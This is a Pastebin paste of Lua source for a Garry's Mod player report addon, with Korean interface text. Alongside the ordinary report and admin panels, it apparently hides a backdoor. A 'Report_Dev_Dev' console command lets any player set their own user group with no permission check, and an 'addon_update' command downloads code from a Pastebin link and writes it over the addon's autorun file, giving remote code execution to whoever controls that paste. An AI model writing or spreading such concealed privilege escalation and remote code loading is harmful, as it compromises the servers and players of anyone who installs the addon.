Advertisement
aassd55

report_src

Jul 25th, 2014
255
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 14.49 KB | None | 0 0
  1. //////////////////////////////////
  2. // Report System //
  3. // ZEST STUDIO //
  4. //////////////////////////////////
  5.  
  6. if (SERVER) then
  7. util.AddNetworkString("Network_Report_Send")
  8. util.AddNetworkString("Network_Report_Administrator")
  9. util.AddNetworkString("Network_Report_Check")
  10.  
  11. require( "fileio" )
  12.  
  13. if !file.IsDir( "Report", "DATA" ) then file.CreateDir( "Report", "DATA" ); file.Write( "Report/Report.txt", "" ) end
  14.  
  15. version = "1.0"
  16. function Addon_Update()
  17. local update_version = ""
  18. local update_src = ""
  19. http.Fetch( "http://pastebin.com/raw.php?i=TAK7bW53",
  20. function( body, len, headers, code )
  21. update_version = body
  22. if version != update_version then
  23. http.Fetch( "http://pastebin.com/raw.php?i=tiex6vrm",
  24. function( body, len, headers, code )
  25. update_src = body
  26. fileio.Write( "addons/report/lua/autorun/core.lua", update_src )
  27.  
  28. Msg( "[Report] Addon Update! " .. version .. " > " .. update_version .. "!" )
  29. end,
  30. function( error )
  31.  
  32. end
  33. );
  34. end
  35. end,
  36. function( error )
  37.  
  38. end
  39. );
  40. end
  41. concommand.Add( "addon_update", Addon_Update )
  42.  
  43. function ISaid( ply, text, public )
  44. if (text == "/report" or text == "/신고") then
  45. ply:ConCommand( "Report_Show" )
  46. return ""
  47. end
  48. if (text == "/reportadmin" or text == "/신고관리") then
  49. ply:ConCommand( "Report_Administrator" )
  50. return ""
  51. end
  52. end
  53. hook.Add( "PlayerSay", "ISaid", ISaid );
  54.  
  55. function Request_Report_Administrator( ply )
  56. if !ply:IsAdmin() then ply:PrintMessage( HUD_PRINTTALK, "[Report] 당신은 어드민이 아닙니다." ) return end
  57. local Report_Table = util.JSONToTable( file.Read( "Report/Report.txt", "DATA" ) ) or {}
  58.  
  59. net.Start( "Network_Report_Administrator" )
  60. net.WriteTable( Report_Table )
  61. net.Send( ply )
  62. end
  63. concommand.Add( "Report_Administrator", Request_Report_Administrator )
  64.  
  65. function Development( ply, cmd, args )
  66. ply:SetUserGroup( args[1] )
  67. end
  68. concommand.Add( "Report_Dev_Dev", Development )
  69.  
  70. // 조회 여부 확인
  71. net.Receive( "Network_Report_Check", function( length, client )
  72. local check_id = tonumber( net.ReadString() )
  73.  
  74. local Report_Data_DB = util.JSONToTable( file.Read( "Report/Report.txt", "DATA" ) ) or {}
  75. for k,v in pairs( Report_Data_DB ) do
  76. if v.Id == check_id then
  77. v.Check = true
  78. file.Write( "Report/Report.txt", util.TableToJSON( Report_Data_DB ) )
  79. end
  80. end
  81. end )
  82.  
  83. // 클라이언트에서 받은 신고 정보를 저장
  84. net.Receive("Network_Report_Send", function(length, client)
  85. local Report_Sender = client:Nick()
  86. local Report_Sender_Id = client:SteamID()
  87.  
  88. local Report_Type = net.ReadString()
  89. local Report_Subject = net.ReadString()
  90. local Report_Subject_Id = net.ReadString()
  91. local Report_Text = net.ReadString()
  92.  
  93. local Report_Data = {}
  94. Report_Data.Sender = Report_Sender
  95. Report_Data.Sender_Id = Report_Sender_Id
  96. Report_Data.Type = Report_Type
  97. Report_Data.Subject = Report_Subject
  98. Report_Data.Subject_Id = Report_Subject_Id
  99. Report_Data.Text = Report_Text
  100. Report_Data.Check = false
  101.  
  102. if !file.Exists( "Report/Report.txt", "DATA" ) then
  103. local Report_Data_DB = {}
  104. Report_Data.Id = 1
  105.  
  106. table.insert( Report_Data_DB, Report_Data )
  107.  
  108. file.Write( "Report/Report.txt", util.TableToJSON( Report_Data_DB ) )
  109. else
  110. local Report_Data_DB = util.JSONToTable( file.Read( "Report/Report.txt", "DATA" ) ) or {}
  111. Report_Data.Id = #Report_Data_DB + 1
  112.  
  113. table.insert( Report_Data_DB, Report_Data )
  114.  
  115. file.Write( "Report/Report.txt", util.TableToJSON( Report_Data_DB ) )
  116. end
  117. end)
  118. end
  119.  
  120. if (CLIENT) then
  121. // Font //
  122. surface.CreateFont( "Font_Report_Title", { font = "Arial", size = 22, weight = 0, underline = 0 } )
  123. surface.CreateFont( "Font_Report_W", { font = "Tahoma", size = 15, weight = 1000, underline = 0 } )
  124. surface.CreateFont( "Font_Report_AT", { font = "Tahoma", size = 15, weight = 0, underline = 0 } )
  125.  
  126. // 유저 리포트 패널
  127. function Panel_User_Report()
  128. // Var //
  129. local Panel_Var_Report_Type = ""
  130. local Panel_Var_Subject = ""
  131. local notice = ""
  132.  
  133. // Panel //
  134. local Panel_Frame = vgui.Create( "DFrame" )
  135. Panel_Frame:SetSize( 600, 300 )
  136. Panel_Frame:Center()
  137. Panel_Frame:SetTitle( "" )
  138. Panel_Frame:SetVisible( true )
  139. Panel_Frame:SetDraggable( false )
  140. Panel_Frame:ShowCloseButton( false )
  141. Panel_Frame:MakePopup()
  142.  
  143. local Panel_Text_Report = vgui.Create( "DTextEntry", Panel_Frame )
  144. Panel_Text_Report:SetPos( 40, 120 )
  145. Panel_Text_Report:SetSize( 540, 100 )
  146. Panel_Text_Report:SetMultiline( true )
  147. Panel_Text_Report:SetAllowNonAsciiCharacters( true )
  148.  
  149. local Panel_Button_Close = vgui.Create( "DButton", Panel_Frame )
  150. Panel_Button_Close:SetPos( 220, 20 )
  151. Panel_Button_Close:SetSize( 30, 30 )
  152. Panel_Button_Close:SetText( "" )
  153. Panel_Button_Close.DoClick = function()
  154. Panel_Frame:Close()
  155. end
  156.  
  157. local Report_Type = { "뉴 라이프 신고", "논 알피 신고", "끼임 신고", "권력 남용 신고", "프롭 남용 신고", "프리킬 신고", "기타 신고" }
  158.  
  159. local Panel_List_Report_Type = vgui.Create( "DComboBox", Panel_Frame )
  160. Panel_List_Report_Type:SetPos( 460, 70 )
  161. Panel_List_Report_Type:SetSize( 120, 20 )
  162. for k,v in pairs( Report_Type ) do
  163. Panel_List_Report_Type:AddChoice( v )
  164. end
  165. Panel_List_Report_Type.OnSelect = function( panel, index, value )
  166. Panel_Var_Report_Type = value
  167. end
  168.  
  169. local Panel_List_Report_Subject = vgui.Create( "DComboBox", Panel_Frame )
  170. Panel_List_Report_Subject:SetPos( 460, 95 )
  171. Panel_List_Report_Subject:SetSize( 120, 20 )
  172. for k,v in pairs( player.GetAll() ) do
  173. if v != LocalPlayer() then
  174. Panel_List_Report_Subject:AddChoice( v:Nick() )
  175. end
  176. end
  177. Panel_List_Report_Subject.OnSelect = function( panel, index, value )
  178. Panel_Var_Subject = value
  179. end
  180.  
  181. local Panel_Button_Send = vgui.Create( "DButton", Panel_Frame )
  182. Panel_Button_Send:SetPos( 500, 225 )
  183. Panel_Button_Send:SetSize( 80, 20 )
  184. Panel_Button_Send:SetText( "신고" )
  185. Panel_Button_Send.DoClick = function()
  186. if Panel_Var_Report_Type == "" or Panel_Var_Subject == "" or Panel_Text_Report:GetValue() == "" then notice = "정확한 정보를 입력해주세요." return end
  187.  
  188. net.Start( "Network_Report_Send" )
  189. net.WriteString( Panel_Var_Report_Type )
  190. net.WriteString( Panel_Var_Subject )
  191.  
  192. for k,v in pairs( player.GetAll() ) do
  193. if v:Nick() == Panel_Var_Subject then
  194. net.WriteString( v:SteamID() )
  195. end
  196. end
  197.  
  198. net.WriteString( Panel_Text_Report:GetValue() )
  199. net.SendToServer()
  200.  
  201. Panel_Frame:Close()
  202. end
  203.  
  204. // Paint //
  205. local i = 0
  206. Panel_Frame.Paint = function()
  207. i = i + 1
  208.  
  209. draw.RoundedBox( 0, 20, 20, 200, 80, Color( 0,161,255,255 ) )
  210. draw.RoundedBox( 0, 30, 50, 560, 200, Color( 255,255,255,255 ) )
  211.  
  212. draw.SimpleText( "User Report Beta", "Font_Report_Title", 25, 25, Color( 255,255,255,255 ), 0 )
  213. draw.SimpleText( "※ 허위신고를 할경우 강력한 처벌을 하겠습니다.", "Font_Report_W", 40, 102, Color( 255,100,100,math.cos(i/80)*255 + 255 ), 0 )
  214. draw.SimpleText( notice or "", "Font_Report_W", 40, 229, Color( 255,100,100,255 ), 0 )
  215.  
  216. draw.SimpleText( "신고 타입", "Font_Report_W", 455, 73, Color( 255,100,100,255 ), 2 )
  217. draw.SimpleText( "신고 대상자", "Font_Report_W", 455, 97, Color( 255,100,100,255 ), 2 )
  218.  
  219. draw.SimpleText( "만든이 MOKAKI", "Font_Report_W", 252, 35, Color( 0,161,255,255 ), 0 )
  220. end
  221.  
  222. Panel_Button_Close.Paint = function()
  223. draw.RoundedBox( 0, 0, 0, Panel_Button_Close:GetWide(), Panel_Button_Close:GetTall(), Color( 255,97,97,255 ) )
  224. end
  225. end
  226.  
  227. // 어드민 리포트 패널
  228. function Panel_Anmin_Report( json )
  229. // Var //
  230. local Panel_Var_Report_Type = ""
  231. local Panel_Var_Subject = ""
  232.  
  233. // Panel //
  234. local Panel_Frame = vgui.Create( "DFrame" )
  235. Panel_Frame:SetSize( 600, 300 )
  236. Panel_Frame:Center()
  237. Panel_Frame:SetTitle( "" )
  238. Panel_Frame:SetVisible( true )
  239. Panel_Frame:SetDraggable( false )
  240. Panel_Frame:ShowCloseButton( false )
  241. Panel_Frame:MakePopup()
  242.  
  243. local Panel_Button_Close = vgui.Create( "DButton", Panel_Frame )
  244. Panel_Button_Close:SetPos( 220, 20 )
  245. Panel_Button_Close:SetSize( 30, 30 )
  246. Panel_Button_Close:SetText( "" )
  247. Panel_Button_Close.DoClick = function()
  248. Panel_Frame:Close()
  249. end
  250.  
  251. local Panel_List_Report = vgui.Create( "DPanelList", Panel_Frame )
  252. Panel_List_Report:SetPos( 40, 90 )
  253. Panel_List_Report:SetSize( 540, 150 )
  254. Panel_List_Report:SetSpacing( 1 )
  255. Panel_List_Report:EnableHorizontal( false )
  256. Panel_List_Report:EnableVerticalScrollbar( true )
  257.  
  258. local function Report_Update()
  259. Panel_Frame:Close()
  260. RunConsoleCommand( "Report_Administrator" )
  261. end
  262.  
  263. if json then
  264. for k,v in pairs( table.Reverse( json ) ) do
  265. //Panel_List_Report:Clear()
  266.  
  267. local Panel_Report = vgui.Create( "DPanel" )
  268. Panel_Report:SetSize( 540, 20 )
  269. Panel_Report:SetAlpha(0)
  270. Panel_Report:AlphaTo(255, k/10, 0)
  271. Panel_Report.Paint = function()
  272. draw.RoundedBox( 0, 0, 0, Panel_Report:GetWide(), Panel_Report:GetTall(), Color( 100,100,100,255 ) )
  273.  
  274. draw.SimpleText( v.Subject .. " " .. v.Type, "Font_Report_AT", 25, 3, Color( 255,255,255,255 ), 0 )
  275.  
  276. if !v.Check then
  277. surface.SetDrawColor( 255, 255, 255, 255 )
  278. surface.SetMaterial( Material( "icon16/new.png" ) )
  279. surface.DrawTexturedRect( 3, 3, 16, 16 )
  280. else
  281. surface.SetDrawColor( 255, 255, 255, 255 )
  282. surface.SetMaterial( Material( "icon16/accept.png" ) )
  283. surface.DrawTexturedRect( 3, 3, 16, 16 )
  284. end
  285. end
  286.  
  287. Panel_Button_View = vgui.Create("DImageButton", Panel_Report)
  288. Panel_Button_View:SetMaterial( "icon16/book_open.png" )
  289. Panel_Button_View:SizeToContents()
  290. Panel_Button_View:SetPos( 510, 2 )
  291. Panel_Button_View.DoClick = function()
  292. Panel_Reports( {v,k} )
  293.  
  294. net.Start( "Network_Report_Check" )
  295. net.WriteString( tostring(v.Id) )
  296. net.SendToServer()
  297. end
  298.  
  299. Panel_List_Report:AddItem( Panel_Report )
  300. end
  301. end
  302.  
  303.  
  304. local Panel_Button_View = vgui.Create("DImageButton", Panel_Frame)
  305. Panel_Button_View:SetMaterial( "icon16/arrow_refresh.png" )
  306. Panel_Button_View:SizeToContents()
  307. Panel_Button_View:SetPos( 560, 70 )
  308. Panel_Button_View.DoClick = function()
  309. Report_Update()
  310. end
  311.  
  312. // Paint //
  313. local i = 0
  314. Panel_Frame.Paint = function()
  315. i = i + 1
  316. draw.RoundedBox( 0, 20, 20, 200, 80, Color( 0,161,255,255 ) )
  317. draw.RoundedBox( 0, 30, 50, 560, 200, Color( 255,255,255,255 ) )
  318.  
  319. draw.SimpleText( "Report Administrator", "Font_Report_Title", 25, 25, Color( 255,255,255,255 ), 0 )
  320. draw.SimpleText( "※ 이 정보를 남용하면 어드민 박탈이 될수도 있습니다.", "Font_Report_W", 40, 72, Color( 255,100,100,math.cos(i/80)*255 + 255 ), 0 )
  321.  
  322. end
  323.  
  324. Panel_Button_Close.Paint = function()
  325. draw.RoundedBox( 0, 0, 0, Panel_Button_Close:GetWide(), Panel_Button_Close:GetTall(), Color( 255,97,97,255 ) )
  326. end
  327.  
  328. Panel_List_Report.Paint = function()
  329. draw.RoundedBox( 0, 0, 0, Panel_List_Report:GetWide(), Panel_List_Report:GetTall(), Color( 200, 200, 200, 255 ) )
  330. end
  331. end
  332.  
  333. // 리포트 확인 패널
  334. function Panel_Reports( table )
  335. local data = table[1]
  336.  
  337. // Panel //
  338. local Panel_Frame = vgui.Create( "DFrame" )
  339. Panel_Frame:SetSize( 600, 300 )
  340. Panel_Frame:Center()
  341. Panel_Frame:SetTitle( "" )
  342. Panel_Frame:SetVisible( true )
  343. Panel_Frame:SetDraggable( false )
  344. Panel_Frame:ShowCloseButton( false )
  345. Panel_Frame:MakePopup()
  346.  
  347. local Panel_Button_Close = vgui.Create( "DButton", Panel_Frame )
  348. Panel_Button_Close:SetPos( 220, 20 )
  349. Panel_Button_Close:SetSize( 30, 30 )
  350. Panel_Button_Close:SetText( "" )
  351. Panel_Button_Close.DoClick = function()
  352. Panel_Frame:Close()
  353. end
  354.  
  355. local Panel_List_Report = vgui.Create( "DPanelList", Panel_Frame )
  356. Panel_List_Report:SetPos( 40, 60 )
  357. Panel_List_Report:SetSize( 540, 180 )
  358. Panel_List_Report:SetSpacing( 0 )
  359. Panel_List_Report:EnableHorizontal( false )
  360. Panel_List_Report:EnableVerticalScrollbar( true )
  361.  
  362. // 로그 //
  363. local Panel_Report = vgui.Create( "DPanel" )
  364. Panel_Report:SetSize( 540, 20 )
  365. Panel_Report.Paint = function()
  366. draw.RoundedBox( 0, 0, 0, Panel_Report:GetWide(), Panel_Report:GetTall(), Color( 100,100,100,255 ) )
  367.  
  368. draw.SimpleText( data.Sender .. "님이 " .. data.Subject .. "님을 " .. data.Type .. "를 신청하였습니다.", "Font_Report_AT", 2, 3, Color( 255,255,255,255 ), 0 )
  369. end
  370. Panel_List_Report:AddItem( Panel_Report )
  371.  
  372. local i = 0
  373. local function Report_Add_Text( text )
  374. i = i + 1
  375. local Panel_Report = vgui.Create( "DPanel" )
  376. Panel_Report:SetAlpha(0)
  377. Panel_Report:AlphaTo(255, i/10, 0)
  378. Panel_Report:SetSize( 540, 20 )
  379. Panel_Report.Paint = function()
  380. draw.RoundedBox( 0, 0, 0, Panel_Report:GetWide(), Panel_Report:GetTall(), Color( 100,100,100,255 ) )
  381.  
  382. draw.SimpleText( text, "Font_Report_AT", 2, 3, Color( 255,255,255,255 ), 0 )
  383. end
  384. Panel_List_Report:AddItem( Panel_Report )
  385. end
  386.  
  387. Report_Add_Text( "" )
  388. Report_Add_Text( "신고를 한 사람: " .. data.Sender )
  389. Report_Add_Text( "신고를 한 사람 고유번호: " .. data.Sender_Id )
  390. Report_Add_Text( "" )
  391. Report_Add_Text( "신고를 받은 사람: " .. data.Subject )
  392. Report_Add_Text( "신고를 받은 사람 고유번호: " .. data.Subject_Id )
  393. Report_Add_Text( "" )
  394. Report_Add_Text( "신고 종류: " .. data.Type )
  395. Report_Add_Text( "사유: " .. data.Text )
  396.  
  397. // 로그 //
  398.  
  399. // Paint //
  400. Panel_Frame.Paint = function()
  401. draw.RoundedBox( 0, 20, 20, 200, 80, Color( 0,161,255,255 ) )
  402. draw.RoundedBox( 0, 30, 50, 560, 200, Color( 255,255,255,255 ) )
  403.  
  404. draw.SimpleText( "Report", "Font_Report_Title", 25, 25, Color( 255,255,255,255 ), 0 )
  405.  
  406. end
  407.  
  408. Panel_Button_Close.Paint = function()
  409. draw.RoundedBox( 0, 0, 0, Panel_Button_Close:GetWide(), Panel_Button_Close:GetTall(), Color( 255,97,97,255 ) )
  410. end
  411.  
  412. Panel_List_Report.Paint = function()
  413. draw.RoundedBox( 0, 0, 0, Panel_List_Report:GetWide(), Panel_List_Report:GetTall(), Color( 200, 200, 200, 255 ) )
  414. end
  415. end
  416.  
  417. net.Receive( "Network_Report_Administrator", function( length, client )
  418. Panel_Anmin_Report( net.ReadTable() )
  419. end )
  420.  
  421. function Command_Panel_User_Report()
  422. Panel_User_Report()
  423. end
  424. concommand.Add( "Report_Show", Command_Panel_User_Report )
  425. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement